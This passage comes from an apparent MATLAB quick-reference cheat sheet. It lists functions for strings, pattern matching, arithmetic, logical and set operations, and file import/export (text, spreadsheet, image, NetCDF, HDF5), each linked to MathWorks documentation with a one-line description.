[pause](https://www.mathworks.com/help/matlab/ref/pause.html) | Temporarily suspend the execution of `MATLAB`
[parfor](https://www.mathworks.com/help/matlab/ref/parfor.html) | Parallel for loop
[end](https://www.mathworks.com/help/matlab/ref/end.html) | Terminate a code block or indicate the maximum array index {.style-list}
### Array of strings
- | - | -
- | - | -
[string](https://www.mathworks.com/help/matlab/ref/string.html) | string array
[strings](https://www.mathworks.com/help/matlab/ref/strings.html) | Create a string array that does not contain characters
[join](https://www.mathworks.com/help/matlab/ref/join.html) | Merge strings
[plus](https://www.mathworks.com/help/matlab/ref/plus.html) | Add numbers, append strings
### Character array
- | - | -
- | - | -
[char](https://www.mathworks.com/help/matlab/ref/char.html) | character array
[cellstr](https://www.mathworks.com/help/matlab/ref/cellstr.html) | Convert to a cell array of character vectors
[blanks](https://www.mathworks.com/help/matlab/ref/blanks.html) | Create a blank character array
[newline](https://www.mathworks.com/help/matlab/ref/newline.html) | Create newline
### Character or string array
- | - | -
- | - | -
[compose](https://www.mathworks.com/help/matlab/ref/compose.html) | Format data into multiple strings
[sprintf](https://www.mathworks.com/help/matlab/ref/sprintf.html) | Format data as string or character vector
[strcat](https://www.mathworks.com/help/matlab/ref/strcat.html) | Concatenate strings horizontally
[append](https://www.mathworks.com/help/matlab/ref/append.html) | Merge strings
### Char or string -convert input arguments
- | -
- | -
[convertCharsToStrings](https://www.mathworks.com/help/matlab/ref/convertcharstostrings.html) | convert character array to string array, other arrays remain unchanged
[convertStringsToChars](https://www.mathworks.com/help/matlab/ref/convertstringstochars.html) | Convert string array to character array, other arrays remain unchanged
[convertContainedStringsToChars](https://www.mathworks.com/help/matlab/ref/convertcontainedstringstochars.html) | Convert an array of strings at any level of a cell array or structure {.style-list}
### CHAR or STRING -convert between numeric and string
- | - | -
- | - | -
[double](https://www.mathworks.com/help/matlab/ref/double.html) | double precision array
[string](https://www.mathworks.com/help/matlab/ref/string.html) | string array
[str2double](https://www.mathworks.com/help/matlab/ref/str2double.html) | Convert a string to a double value
[num2str](https://www.mathworks.com/help/matlab/ref/num2str.html) | Convert numbers to character arrays
### Character or string -determine type and attributes {.row-span-2}
type of data
- | - | -
- | - | -
[ischar](https://www.mathworks.com/help/matlab/ref/ischar.html) | Determine whether the input is a character array
[iscellstr](https://www.mathworks.com/help/matlab/ref/iscellstr.html) | Determines if input is a cell array of character vectors
[isstring](https://www.mathworks.com/help/matlab/ref/isstring.html) | Determine whether the input is an array of strings
[isStringScalar](https://www.mathworks.com/help/matlab/ref/isstringscalar.html) | Determine whether the input is a string array containing one element
text attribute
- | - | -
- | - | -
[strlength](https://www.mathworks.com/help/matlab/ref/strlength.html) | string length
[isstrprop](https://www.mathworks.com/help/matlab/ref/isstrprop.html) | Determine which characters in the input string belong to the specified category
[isletter](https://www.mathworks.com/help/matlab/ref/isletter.html) | Determine which characters are letters
[isspace](https://www.mathworks.com/help/matlab/ref/isspace.html) | Determine which characters are whitespace characters
### character or string -find and replace {.row-span-2}
look up
- | - | -
- | - | -
[contains](https://www.mathworks.com/help/matlab/ref/contains.html) | Determine if there is a pattern in the string
[matches](https://www.mathworks.com/help/matlab/ref/matches.html) | Determine if a pattern matches a string
[count](https://www.mathworks.com/help/matlab/ref/count.html) | Count the number of occurrences of a pattern in a string
[endsWith](https://www.mathworks.com/help/matlab/ref/endswith.html) | Determine if a string ends with a pattern
[startsWith](https://www.mathworks.com/help/matlab/ref/startswith.html) | Determine whether a string starts with a pattern
[strfind](https://www.mathworks.com/help/matlab/ref/strfind.html) | Find a string in other strings
[sscanf](https://www.mathworks.com/help/matlab/ref/sscanf.html) | Read formatted data from a string
replace
- | - | -
- | - | -
[replace](https://www.mathworks.com/help/matlab/ref/replace.html) | Find and replace one or more substrings
[replaceBetween](https://www.mathworks.com/help/matlab/ref/replacebetween.html) | Replace the substring between the start and end
[strrep](https://www.mathworks.com/help/matlab/ref/strrep.html) | Find and replace substring
### String matching pattern -build pattern
- | - | -
- | - | -
[pattern](https://www.mathworks.com/help/matlab/ref/pattern.html) | pattern for searching and matching text
### String match pattern -character match pattern
- | - | -
- | - | -
[alphanumericsPattern](https://www.mathworks.com/help/matlab/ref/alphanumericspattern.html) | match alphanumeric characters
[characterListPattern](https://www.mathworks.com/help/matlab/ref/characterlistpattern.html) | Match characters in the list
[digitsPattern](https://www.mathworks.com/help/matlab/ref/digitspattern.html) | Match digit characters
[lettersPattern](https://www.mathworks.com/help/matlab/ref/letterspattern.html) | match letter pattern
[whitespacePattern](https://www.mathworks.com/help/matlab/ref/whitespacepattern.html) | match whitespace characters
[wildcardPattern](https://www.mathworks.com/help/matlab/ref/wildcardpattern.html) | Match as few characters of any type as possible
### String matching pattern -pattern search rules
- | - | -
- | - | -
[optionalPattern](https://www.mathworks.com/help/matlab/ref/optionalpattern.html) | Make pattern matching optional
[possessivePattern](https://www.mathworks.com/help/matlab/ref/possessivepattern.html) | Match pattern without backtracking
[caseSensitivePattern](https://www.mathworks.com/help/matlab/ref/casesensitivepattern.html) | Match patterns in a case-sensitive manner
[caseInsensitivePattern](https://www.mathworks.com/help/matlab/ref/caseinsensitivepattern.html) | Match patterns in a case-insensitive manner
[asFewOfPattern](https://www.mathworks.com/help/matlab/ref/asfewofpattern.html) | The number of pattern matches should be as few as possible
[asManyOfPattern](https://www.mathworks.com/help/matlab/ref/asmanyofpattern.html) | Pattern matching as many times as possible
### String matching pattern -Boundary pattern {.row-span-2}
- | -
- | -
[alphanumericBoundary](https://www.mathworks.com/help/matlab/ref/alphanumericboundary.html) | Matches the boundary between alphanumeric and non-alphanumeric characters
[digitBoundary](https://www.mathworks.com/help/matlab/ref/digitboundary.html) | Matches the boundary between digit characters and non-digit characters
[letterBoundary](https://www.mathworks.com/help/matlab/ref/letterboundary.html) | Matches the boundary between alphabetic and non-alphabetic characters
[whitespaceBoundary](https://www.mathworks.com/help/matlab/ref/whitespaceboundary.html) | Matches the boundary between whitespace and non-whitespace characters
[lineBoundary](https://www.mathworks.com/help/matlab/ref/lineboundary.html) | match the beginning or end of a line
[textBoundary](https://www.mathworks.com/help/matlab/ref/textboundary.html) | match the beginning or end of the text
[lookAheadBoundary](https://www.mathworks.com/help/matlab/ref/lookaheadboundary.html) | match the boundary before the specified pattern
[lookBehindBoundary](https://www.mathworks.com/help/matlab/ref/lookbehindboundary.html) | Boundary after matching the specified pattern {.style-list}
### String matching pattern -custom pattern display
- | - | -
- | - | -
[maskedPattern](https://www.mathworks.com/help/matlab/ref/maskedpattern.html) | pattern with specified display name
[namedPattern](https://www.mathworks.com/help/matlab/ref/namedpattern.html) | Specify a named pattern
### String matching pattern -regular expression
- | - | -
- | - | -
[regexp](https://www.mathworks.com/help/matlab/ref/regexp.html) | match regular expression (case sensitive)
[regexpi](https://www.mathworks.com/help/matlab/ref/regexpi.html) | Match regular expressions (case insensitive)
[regexprep](https://www.mathworks.com/help/matlab/ref/regexprep.html) | Replace text using regular expressions
[regexptranslate](https://www.mathworks.com/help/matlab/ref/regexptranslate.html) | Convert text to regular expressions
[regexpPattern](https://www.mathworks.com/help/matlab/ref/regexppattern.html) | Match the pattern of the specified regular expression
### String matching pattern -join and split
- | - | -
- | - | -
[join](https://www.mathworks.com/help/matlab/ref/join.html) | Merge strings
[plus](https://www.mathworks.com/help/matlab/ref/plus.html) | Add numbers, append strings
[split](https://www.mathworks.com/help/matlab/ref/split.html) | Split string at delimiter
[splitlines](https://www.mathworks.com/help/matlab/ref/splitlines.html) | Split a string at newlines
[strjoin](https://www.mathworks.com/help/matlab/ref/strjoin.html) | join the strings in the array
[strsplit](https://www.mathworks.com/help/matlab/ref/strsplit.html) | Splits a string or character vector at the specified delimiter
[strtok](https://www.mathworks.com/help/matlab/ref/strtok.html) | Selected string part
[extract](https://www.mathworks.com/help/matlab/ref/extract.html) | Extract a substring from a string
[extractAfter](https://www.mathworks.com/help/matlab/ref/extractafter.html) | Extract the substring after the specified position
[extractBefore](https://www.mathworks.com/help/matlab/ref/extractbefore.html) | Extract the substring before the specified position
[extractBetween](https://www.mathworks.com/help/matlab/ref/extractbetween.html) | Extract the substring between the starting point and the ending point
### String editing {.row-span-2}
- | - | -
- | - | -
[erase](https://www.mathworks.com/help/matlab/ref/erase.html) | Delete a substring in a string
[eraseBetween](https://www.mathworks.com/help/matlab/ref/erasebetween.html) | Delete the substring between the start and end
[extract](https://www.mathworks.com/help/matlab/ref/extract.html) | Extract a substring from a string
[extractAfter](https://www.mathworks.com/help/matlab/ref/extractafter.html) | Extract the substring after the specified position
[extractBefore](https://www.mathworks.com/help/matlab/ref/extractbefore.html) | Extract the substring before the specified position
[extractBetween](https://www.mathworks.com/help/matlab/ref/extractbetween.html) | Extract the substring between the starting point and the ending point
[insertAfter](https://www.mathworks.com/help/matlab/ref/insertafter.html) | Insert a string after the specified substring
[insertBefore](https://www.mathworks.com/help/matlab/ref/insertbefore.html) | Insert a string before the specified substring
[pad](https://www.mathworks.com/help/matlab/ref/pad.html) | Add leading or trailing characters to a string
[strip](https://www.mathworks.com/help/matlab/ref/strip.html) | Remove leading and trailing characters in a string
[lower](https://www.mathworks.com/help/matlab/ref/lower.html) | convert string to lowercase
[upper](https://www.mathworks.com/help/matlab/ref/upper.html) | convert string to uppercase
[reverse](https://www.mathworks.com/help/matlab/ref/reverse.html) | Reverse the order of characters in a string
[deblank](https://www.mathworks.com/help/matlab/ref/deblank.html) | Remove trailing blanks at the end of a string
[strtrim](https://www.mathworks.com/help/matlab/ref/strtrim.html) | Remove leading and trailing blanks from a string
[strjust](https://www.mathworks.com/help/matlab/ref/strjust.html) | align string
### String comparison
- | - | -
- | - | -
[matches](https://www.mathworks.com/help/matlab/ref/matches.html) | Determine if a pattern matches a string
[strcmp](https://www.mathworks.com/help/matlab/ref/strcmp.html) | Compare strings
[strcmpi](https://www.mathworks.com/help/matlab/ref/strcmpi.html) | Compare strings (case insensitive)
[strncmp](https://www.mathworks.com/help/matlab/ref/strncmp.html) | compares the first <code class="literal">n</code> characters of a string (case sensitive)
[strncmpi](https://www.mathworks.com/help/matlab/ref/strncmpi.html) | Compare the first <code class="literal">n</code> characters of a string (case insensitive )
### Basic Arithmetic {.row-span-3}
#### Addition
- [+](https://www.mathworks.com/help/matlab/ref/plus.html) Add numbers, append strings
- [sum](https://www.mathworks.com/help/matlab/ref/sum.html) sum of array elements
- [cumsum](https://www.mathworks.com/help/matlab/ref/cumsum.html) cumulative sum
- [movsum](https://www.mathworks.com/help/matlab/ref/movsum.html) moving sum {.cols-2 style-none}
#### Subtraction
- [-](https://www.mathworks.com/help/matlab/ref/minus.html) subtraction
- [diff](https://www.mathworks.com/help/matlab/ref/diff.html) difference and approximate derivative {.cols-2 style-none}
#### Multiplication
- | - | -
- | - | -
[.*](https://www.mathworks.com/help/matlab/ref/times.html) | Multiplication
[*](https://www.mathworks.com/help/matlab/ref/mtimes.html) | Matrix multiplication
[prod](https://www.mathworks.com/help/matlab/ref/prod.html) | product of array elements
[cumprod](https://www.mathworks.com/help/matlab/ref/cumprod.html) | cumulative product
[pagemtimes](https://www.mathworks.com/help/matlab/ref/pagemtimes.html) | Matrix multiplication by page
[tensorprod](https://www.mathworks.com/help/matlab/ref/tensorprod.html) | Tensor products between two tensors
#### Division
- | - | -
- | - | -
[./](https://www.mathworks.com/help/matlab/ref/rdivide.html) | Array right division
[.\\](https://www.mathworks.com/help/matlab/ref/ldivide.html) | Array left division
[/](https://www.mathworks.com/help/matlab/ref/mrdivide.html) | Solve the system of linear equations xA = B about x
[\\](https://www.mathworks.com/help/matlab/ref/mldivide.html) | Solve the system of linear equations Ax = B with respect to x
#### Power
- [.^](https://www.mathworks.com/help/matlab/ref/power.html) Element-wise exponentiation
- [^](https://www.mathworks.com/help/matlab/ref/mpower.html) matrix power {.cols-2}
#### Transpose
- | - | -
- | - | -
[.'](https://www.mathworks.com/help/matlab/ref/transpose.html) | Transpose a vector or matrix
['](https://www.mathworks.com/help/matlab/ref/ctranspose.html) | complex conjugate transpose
[pagetranspose](https://www.mathworks.com/help/matlab/ref/pagetranspose.html) | Transpose by page
[pagectranspose](https://www.mathworks.com/help/matlab/ref/pagectranspose.html) | Complex conjugate transpose by page
#### Array notation
- [uminus](https://www.mathworks.com/help/matlab/ref/uminus.html) unary subtraction
- [uplus](https://www.mathworks.com/help/matlab/ref/uplus.html) unary addition {.cols-2}
### Modular division and rounding
- | - | -
- | - | -
[mod](https://www.mathworks.com/help/matlab/ref/mod.html) | Remainder after division (modulo operation)
[rem](https://www.mathworks.com/help/matlab/ref/rem.html) | Remainder after division
[idivide](https://www.mathworks.com/help/matlab/ref/idivide.html) | Divisibility with rounding options
[ceil](https://www.mathworks.com/help/matlab/ref/ceil.html) | round towards positive infinity
[fix](https://www.mathworks.com/help/matlab/ref/fix.html) | round towards zero
[floor](https://www.mathworks.com/help/matlab/ref/floor.html) | round towards negative infinity
[round](https://www.mathworks.com/help/matlab/ref/round.html) | round to the nearest decimal or integer
### Custom Binary Functions
- | - | -
- | - | -
[bsxfun](https://www.mathworks.com/help/matlab/ref/bsxfun.html) | Apply element-wise operations on two arrays (with implicit expansion enabled)
### Relational operations
value comparison
- | - | -
- | - | -
[==](https://www.mathworks.com/help/matlab/ref/eq.html) | Determine equality
[>=](https://www.mathworks.com/help/matlab/ref/ge.html) | Determine greater than or equal to
[>](https://www.mathworks.com/help/matlab/ref/gt.html) | Determine greater than
[<=](https://www.mathworks.com/help/matlab/ref/le.html) | Determine less than or equal to
[<](https://www.mathworks.com/help/matlab/ref/lt.html) | Determine less than
[~=](https://www.mathworks.com/help/matlab/ref/ne.html) | Determine Inequality
[isequal](https://www.mathworks.com/help/matlab/ref/isequal.html) | Determine array equality
[isequaln](https://www.mathworks.com/help/matlab/ref/isequaln.html) | Test array equality, treat `NaN` values as equal
### Logical (Boolean) operations
true or false condition
- | - | -
- | - | -
[Short-circuit &&, \|\|](https://www.mathworks.com/help/matlab/ref/logicaloperatorsshortcircuit.html) | Logical operators with short-circuit function
[&](https://www.mathworks.com/help/matlab/ref/and.html) | Computational logic `AND`
[~](https://www.mathworks.com/help/matlab/ref/not.html) | Computational logic `NOT`
[\|](https://www.mathworks.com/help/matlab/ref/or.html) | Calculation logic `OR`
[xor](https://www.mathworks.com/help/matlab/ref/xor.html) | Compute logical exclusive `OR`
[all](https://www.mathworks.com/help/matlab/ref/all.html) | Determine whether all array elements are non-zero or `true`
[any](https://www.mathworks.com/help/matlab/ref/any.html) | Determine if any array elements are non-zero
[false](https://www.mathworks.com/help/matlab/ref/false.html) | logical `0` (false)
[find](https://www.mathworks.com/help/matlab/ref/find.html) | Find the index and value of non-zero elements
[islogical](https://www.mathworks.com/help/matlab/ref/islogical.html) | Determine whether the input is a logical array
[logical](https://www.mathworks.com/help/matlab/ref/logical.html) | Convert numeric values to logical values
[true](https://www.mathworks.com/help/matlab/ref/true.html) | Logical value `1` (true)
### Set operation
union, intersection, set relationship
- | - | -
- | - | -
[intersect](https://www.mathworks.com/help/matlab/ref/double.intersect.html) | Set the intersection of two arrays
[ismember](https://www.mathworks.com/help/matlab/ref/double.ismember.html) | Determine whether an array element is a set array member
[setdiff](https://www.mathworks.com/help/matlab/ref/double.setdiff.html) | Set the difference between two arrays
[setxor](https://www.mathworks.com/help/matlab/ref/double.setxor.html) | Set XOR of two arrays
[union](https://www.mathworks.com/help/matlab/ref/double.union.html) | Set the union of two arrays
[unique](https://www.mathworks.com/help/matlab/ref/double.unique.html) | Unique value in an array
[ismembertol](https://www.mathworks.com/help/matlab/ref/ismembertol.html) | set membership within tolerance
[uniquetol](https://www.mathworks.com/help/matlab/ref/uniquetol.html) | unique values within tolerance
[join](https://www.mathworks.com/help/matlab/ref/table.join.html) | Merge two tables or timetables row by row using a key variable
[innerjoin](https://www.mathworks.com/help/matlab/ref/innerjoin.html) | Inner join between two tables or timetables
[outerjoin](https://www.mathworks.com/help/matlab/ref/outerjoin.html) | Outer join between two tables or timetables
### Bitwise operations
set, offset, or compare specific bitfields
- | - | -
- | - | -
[bitand](https://www.mathworks.com/help/matlab/ref/bitand.html) | Bitwise `AND`
[bitor](https://www.mathworks.com/help/matlab/ref/bitor.html) | Bitwise `OR`
[bitxor](https://www.mathworks.com/help/matlab/ref/bitxor.html) | Bitwise `XOR`
[bitcmp](https://www.mathworks.com/help/matlab/ref/bitcmp.html) | Bitwise complement
[bitget](https://www.mathworks.com/help/matlab/ref/bitget.html) | Get the bit at the specified position
[bitset](https://www.mathworks.com/help/matlab/ref/bitset.html) | Set the bit at the specified position
[bitshift](https://www.mathworks.com/help/matlab/ref/bitshift.html) | Shift bits by specified number of bits
[swapbytes](https://www.mathworks.com/help/matlab/ref/swapbytes.html) | swap byte order
Data import and export
---
### text file -read and write table or timetable {.row-span-2}
#### Basic import and export
- | - | -
- | - | -
[readtable](https://www.mathworks.com/help/matlab/ref/readtable.html) | Create a table based on a file
[writetable](https://www.mathworks.com/help/matlab/ref/writetable.html) | write table to file
[readtimetable](https://www.mathworks.com/help/matlab/ref/readtimetable.html) | Create a timetable based on a file
[writetimetable](https://www.mathworks.com/help/matlab/ref/writetimetable.html) | Write timetable to file
#### Define import rules
- | -
- | -
[detectImportOptions](https://www.mathworks.com/help/matlab/ref/detectimportoptions.html) | Generate import options based on file content
[delimitedTextImportOptions](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.html) | Import options object for delimited text
[fixedWidthImportOptions](https://www.mathworks.com/help/matlab/ref/matlab.io.text.fixedwidthimportoptions.html) | Import options object for fixed-width text files
[xmlImportOptions](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.xmlimportoptions.html) | Import options object for XML file
[htmlImportOptions](https://www.mathworks.com/help/matlab/ref/matlab.io.html.htmlimportoptions.html) | Import options object for HTML files
[wordDocumentImportOptions](https://www.mathworks.com/help/matlab/ref/matlab.io.word.worddocumentimportoptions.html) | `Microsoft Word` file import options object
[getvaropts](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.getvaropts.html) | Get variable import options
[setvaropts](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.setvaropts.html) | Set variable import options
[setvartype](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.setvartype.html) | Set variable data type
[preview](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.preview.html) | Preview eight lines of data in the file with import options
{.style-list}
### Text files -read and write matrices and arrays
- | - | -
- | - | -
[readmatrix](https://www.mathworks.com/help/matlab/ref/readmatrix.html) | Read a matrix from a file
[writematrix](https://www.mathworks.com/help/matlab/ref/writematrix.html) | Write matrix to file
[readcell](https://www.mathworks.com/help/matlab/ref/readcell.html) | Read a cell array from a file
[writecell](https://www.mathworks.com/help/matlab/ref/writecell.html) | Write a cell array to a file
[readvars](https://www.mathworks.com/help/matlab/ref/readvars.html) | Read variables from a file
[textscan](https://www.mathworks.com/help/matlab/ref/textscan.html) | Read formatted data from a text file or string
[type](https://www.mathworks.com/help/matlab/ref/type.html) | Display file content
[fileread](https://www.mathworks.com/help/matlab/ref/fileread.html) | Read file content in text format
[readlines](https://www.mathworks.com/help/matlab/ref/readlines.html) | Read lines of a file as an array of strings
[writelines](https://www.mathworks.com/help/matlab/ref/writelines.html) | Write text to file
### Spreadsheet -Read and Write Table or Timetable {.row-span-2}
Basic import and export
- | - | -
- | - | -
[readtable](https://www.mathworks.com/help/matlab/ref/readtable.html) | Create a table from a file
[writetable](https://www.mathworks.com/help/matlab/ref/writetable.html) | write table to file
[readtimetable](https://www.mathworks.com/help/matlab/ref/readtimetable.html) | Create a timetable from a file
[writetimetable](https://www.mathworks.com/help/matlab/ref/writetimetable.html) | Write timetable to file
[sheetnames](https://www.mathworks.com/help/matlab/ref/sheetnames.html) | Get sheetnames from a spreadsheet file
{.style-list}
Define import rules
- | -
- | -
[detectImportOptions](https://www.mathworks.com/help/matlab/ref/detectimportoptions.html) | Generate import options based on file content
[spreadsheetImportOptions](https://www.mathworks.com/help/matlab/ref/matlab.io.spreadsheet.spreadsheetimportoptions.html) | Spreadsheet import options object
[getvaropts](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.getvaropts.html) | Get variable import options
[setvaropts](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.setvaropts.html) | Set variable import options
[setvartype](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.setvartype.html) | Set variable data type
[preview](https://www.mathworks.com/help/matlab/ref/matlab.io.text.delimitedtextimportoptions.preview.html) | Preview eight rows of data in a file with import options {.style-list}
### Spreadsheet -Reading and writing matrices and arrays
- | - | -
- | - | -
[readmatrix](https://www.mathworks.com/help/matlab/ref/readmatrix.html) | Read a matrix from a file
[writematrix](https://www.mathworks.com/help/matlab/ref/writematrix.html) | Write matrix to file
[readcell](https://www.mathworks.com/help/matlab/ref/readcell.html) | Read a cell array from a file
[writecell](https://www.mathworks.com/help/matlab/ref/writecell.html) | Write a cell array to a file
[readvars](https://www.mathworks.com/help/matlab/ref/readvars.html) | Read variables from a file
[importdata](https://www.mathworks.com/help/matlab/ref/importdata.html) | Load data from a file
### images
- | - | -
- | - | -
[imfinfo](https://www.mathworks.com/help/matlab/ref/imfinfo.html) | Information about graphics files
[imread](https://www.mathworks.com/help/matlab/ref/imread.html) | Reads an image from a graphics file
[imwrite](https://www.mathworks.com/help/matlab/ref/imwrite.html) | Writes an image to a graphics file
[Tiff](https://www.mathworks.com/help/matlab/ref/tiff.html) | MATLAB entry for LibTIFF library routines
### Read or write a NetCDF file {.row-span-2}
- | - | -
- | - | -
[nccreate](https://www.mathworks.com/help/matlab/ref/nccreate.html) | Create variables in a NetCDF file
[ncdisp](https://www.mathworks.com/help/matlab/ref/ncdisp.html) | Displays NetCDF data source content in the command line window
[ncinfo](https://www.mathworks.com/help/matlab/ref/ncinfo.html) | Returns information about a NetCDF data source
[ncread](https://www.mathworks.com/help/matlab/ref/ncread.html) | Read variable data from a NetCDF data source
[ncreadatt](https://www.mathworks.com/help/matlab/ref/ncreadatt.html) | Read attribute values in a NetCDF data source
[ncwrite](https://www.mathworks.com/help/matlab/ref/ncwrite.html) | Write data to a NetCDF file
[ncwriteatt](https://www.mathworks.com/help/matlab/ref/ncwriteatt.html) | Write attributes to a NetCDF file
[ncwriteschema](https://www.mathworks.com/help/matlab/ref/ncwriteschema.html) | Adds a NetCDF schema definition to a NetCDF file
### NetCDF library package -library functions
- | -
- | -
[netcdf.getChunkCache](https://www.mathworks.com/help/matlab/ref/netcdf.getchunkcache.html) | Retrieves the chunk cache settings for the NetCDF library
[netcdf.inqLibVers](https://www.mathworks.com/help/matlab/ref/netcdf.inqlibvers.html) | Returns NetCDF library version information
[netcdf.setChunkCache](https://www.mathworks.com/help/matlab/ref/netcdf.setchunkcache.html) | Sets the default chunk cache settings for the NetCDF library
[netcdf.setDefaultFormat](https://www.mathworks.com/help/matlab/ref/netcdf.setdefaultformat.html) | Change the default netCDF file format {.style-list}
### NetCDF library package -file operations {.row-span-2}
- | -
- | -
[netcdf.abort](https://www.mathworks.com/help/matlab/ref/netcdf.abort.html) | restores the most recent netCDF file definition
[netcdf.close](https://www.mathworks.com/help/matlab/ref/netcdf.close.html) | Closes a netCDF file
[netcdf.create](https://www.mathworks.com/help/matlab/ref/netcdf.create.html) | Create a new NetCDF dataset
[netcdf.endDef](https://www.mathworks.com/help/matlab/ref/netcdf.enddef.html) | End netCDF file definition mode
[netcdf.inq](https://www.mathworks.com/help/matlab/ref/netcdf.inq.html) | returns information about a netCDF file
[netcdf.inqFormat](https://www.mathworks.com/help/matlab/ref/netcdf.inqformat.html) | Determines the format of a NetCDF file
[netcdf.inqGrps](https://www.mathworks.com/help/matlab/ref/netcdf.inqgrps.html) | Retrieves an array of subgroup IDs
[netcdf.inqUnlimDims](https://www.mathworks.com/help/matlab/ref/netcdf.inqunlimdims.html) | Retrieves a list of infinite dimensions in a group
[netcdf.open](https://www.mathworks.com/help/matlab/ref/netcdf.open.html) | Open NetCDF data source
[netcdf.reDef](https://www.mathworks.com/help/matlab/ref/netcdf.redef.html) | puts an open netCDF file into definition mode
[netcdf.setFill](https://www.mathworks.com/help/matlab/ref/netcdf.setfill.html) | Set netCDF fill mode
[netcdf.sync](https://www.mathworks.com/help/matlab/ref/netcdf.sync.html) | Synchronize netCDF files to disk
### NetCDF Library Package -Dimensions
- | - | -
- | - | -
[netcdf.defdim](https://www.mathworks.com/help/matlab/ref/netcdf.defdim.html) | Create netCDF dimensions
[netcdf.inqDim](https://www.mathworks.com/help/matlab/ref/netcdf.inqdim.html) | Returns netCDF dimension names and lengths
[netcdf.inqDimID](https://www.mathworks.com/help/matlab/ref/netcdf.inqdimid.html) | Returns the dimension ID
[netcdf.renameDim](https://www.mathworks.com/help/matlab/ref/netcdf.renamedim.html) | Change netCDF dimension names
### NetCDF library package -group
- | - | -
- | - | -
[netcdf.defGrp](https://www.mathworks.com/help/matlab/ref/netcdf.defgrp.html) | Create groups in a NetCDF file
[netcdf.inqDimIDs](https://www.mathworks.com/help/matlab/ref/netcdf.inqdimids.html) | Retrieves a list of dimension identifiers in a group
[netcdf.inqGrpName](https://www.mathworks.com/help/matlab/ref/netcdf.inqgrpname.html) | Retrieve group name
[netcdf.inqGrpNameFull](https://www.mathworks.com/help/matlab/ref/netcdf.inqgrpnamefull.html) | the full pathname of the group
[netcdf.inqGrpParent](https://www.mathworks.com/help/matlab/ref/netcdf.inqgrpparent.html) | Retrieves the ID of the parent group.
[netcdf.inqNcid](https://www.mathworks.com/help/matlab/ref/netcdf.inqncid.html) | Returns the ID of a named group
[netcdf.inqVarIDs](https://www.mathworks.com/help/matlab/ref/netcdf.inqvarids.html) | IDs of all variables in the group
### NetCDF library package -variable {.row-span-3}
- | -
- | -
[netcdf.defVarFill](https://www.mathworks.com/help/matlab/ref/netcdf.defvarfill.html) | Defines the fill parameter for a NetCDF variable
[netcdf.defVar](https://www.mathworks.com/help/matlab/ref/netcdf.defvar.html) | Create a NetCDF variable
[netcdf.defVarChunking](https://www.mathworks.com/help/matlab/ref/netcdf.defvarchunking.html) | Defines chunking behavior for NetCDF variables
[netcdf.defVarDeflate](https://www.mathworks.com/help/matlab/ref/netcdf.defvardeflate.html) | Defines compression parameters for NetCDF variables
[netcdf.defVarFletcher32](https://www.mathworks.com/help/matlab/ref/netcdf.defvarfletcher32.html) | Defines validation parameters for NetCDF variables
[netcdf.getVar](https://www.mathworks.com/help/matlab/ref/netcdf.getvar.html) | Read data in a NetCDF variable
[netcdf.inqVar](https://www.mathworks.com/help/matlab/ref/netcdf.inqvar.html) | Information about variables
[netcdf.inqVarChunking](https://www.mathworks.com/help/matlab/ref/netcdf.inqvarchunking.html) | Determines chunking settings for NetCDF variables
[netcdf.inqVarDeflate](https://www.mathworks.com/help/matlab/ref/netcdf.inqvardeflate.html) | Determines compression settings for NetCDF variables
[netcdf.inqVarFill](https://www.mathworks.com/help/matlab/ref/netcdf.inqvarfill.html) | Determines the fill parameter value for a NetCDF variable
[netcdf.inqVarFletcher32](https://www.mathworks.com/help/matlab/ref/netcdf.inqvarfletcher32.html) | About Fletcher32 checksum settings for NetCDF variables
[netcdf.inqVarID](https://www.mathworks.com/help/matlab/ref/netcdf.inqvarid.html) | Returns the ID associated with the variable name
[netcdf.putVar](https://www.mathworks.com/help/matlab/ref/netcdf.putvar.html) | Writes data to a netCDF variable
[netcdf.renameVar](https://www.mathworks.com/help/matlab/ref/netcdf.renamevar.html) | Change netCDF variable name {.style-list}
### NetCDF library package -properties
- | - | -
- | - | -
[netcdf.copyAtt](https://www.mathworks.com/help/matlab/ref/netcdf.copyatt.html) | Copy an attribute to a new location
[netcdf.delAtt](https://www.mathworks.com/help/matlab/ref/netcdf.delatt.html) | Remove netCDF attribute
[netcdf.getAtt](https://www.mathworks.com/help/matlab/ref/netcdf.getatt.html) | Returns the NetCDF attribute
[netcdf.inqAtt](https://www.mathworks.com/help/matlab/ref/netcdf.inqatt.html) | Returns information about netCDF attributes
[netcdf.inqAttID](https://www.mathworks.com/help/matlab/ref/netcdf.inqattid.html) | Returns the ID of a netCDF attribute
[netcdf.inqAttName](https://www.mathworks.com/help/matlab/ref/netcdf.inqattname.html) | Returns the netCDF attribute name
[netcdf.putAtt](https://www.mathworks.com/help/matlab/ref/netcdf.putatt.html) | Write netCDF attributes
[netcdf.renameAtt](https://www.mathworks.com/help/matlab/ref/netcdf.renameatt.html) | Change Attribute Name
### NetCDF library package -user-defined types
:- | :-
:- | :-
[netcdf.defVlen](https://www.mathworks.com/help/matlab/ref/netcdf.defvlen.html) | Define user-defined variable length array type (NC_VLEN)
[netcdf.inqUserType](https://www.mathworks.com/help/matlab/ref/netcdf.inqusertype.html) | Return information about user-defined type
[netcdf.inqVlen](https://www.mathworks.com/help/matlab/ref/netcdf.inqvlen.html) | Return information about user-defined `NC_VLEN` type {.style-list}
### NetCDF library package -Utilities
- | -
- | -
[netcdf.getConstant](https://www.mathworks.com/help/matlab/ref/netcdf.getconstant.html) | returns the value of the named constant
[netcdf.getConstantNames](https://www.mathworks.com/help/matlab/ref/netcdf.getconstantnames.html) | returns a list of constants known to the netCDF library {.style-list}
### Read or write HDF5 files
- | - | -
- | - | -
[h5create](https://www.mathworks.com/help/matlab/ref/h5create.html) | Create HDF5 dataset
[h5disp](https://www.mathworks.com/help/matlab/ref/h5disp.html) | Display the content of HDF5 files
[h5info](https://www.mathworks.com/help/matlab/ref/h5info.html) | Information about HDF5 files
[h5read](https://www.mathworks.com/help/matlab/ref/h5read.html) | Read data from HDF5 dataset
